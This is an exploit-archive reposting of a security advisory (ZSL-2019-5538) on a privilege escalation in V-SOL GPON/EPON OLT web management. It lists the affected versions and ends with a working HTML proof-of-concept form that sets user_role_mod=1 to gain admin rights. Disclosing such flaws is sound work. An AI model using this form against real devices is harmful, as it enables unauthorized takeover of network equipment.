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V-SOL GPON/EPON OLT Platform 2.03 Remote Privilege Escalation

V-SOL GPON/EPON OLT Platform 2.03 Remote Privilege Escalation
Posted Sep 26, 2019
Authored by LiquidWorm | Site zeroscience.mk

V-SOL GPON/EPON OLT Platform version 2.03 suffers from a remote privilege escalation vulnerability.

tags | exploit, remote
SHA-256 | af41645ae224156e6c5f7c68ef19c06d23cd163fc3df71ad85ed98ac7a9666ce

V-SOL GPON/EPON OLT Platform 2.03 Remote Privilege Escalation

Change Mirror Download

V-SOL GPON/EPON OLT Platform v2.03 Remote Privilege Escalation


Vendor: Guangzhou V-SOLUTION Electronic Technology Co., Ltd.
Product web page: https://www.vsolcn.com
Affected version: V2.03.62R_IPv6
V2.03.54R
V2.03.52R
V2.03.49
V2.03.47
V2.03.40
V2.03.26
V2.03.24
V1.8.6
V1.4

Summary: GPON is currently the leading FTTH standard in broadband access
technology being widely deployed by service providers around the world.
GPON/EPON OLT products are 1U height 19 inch rack mount products. The
features of the OLT are small, convenient, flexible, easy to deploy, high
performance. It is appropriate to be deployed in compact room environment.
The OLTs can be used for 'Triple-Play', VPN, IP Camera, Enterprise LAN and
ICT applications.

Desc: The application suffers from a privilege escalation vulnerability.
Normal user can elevate his/her privileges by sending a HTTP POST request
setting the parameter 'user_role_mod' to integer value '1' gaining admin
rights.

Tested on: GoAhead-Webs


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2019-5538
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5538.php

25.09.2019

--


<html>
<body>
<form action="http://192.168.8.200/action/user.html" method="POST">
<input type="hidden" name="user_name_add" value="" />
<input type="hidden" name="user_password_add" value="" />
<input type="hidden" name="password_confirm_add" value="" />
<input type="hidden" name="user_role" value="0" />
<input type="hidden" name="user_password_mod" value="test" />
<input type="hidden" name="password_confirm_mod" value="test" />
<input type="hidden" name="user_role_mod" value="1" />
<input type="hidden" name="option_um" value="17" />
<input type="hidden" name="who" value="1" />
<input type="submit" value="Escalate" />
</form>
</body>
</html>
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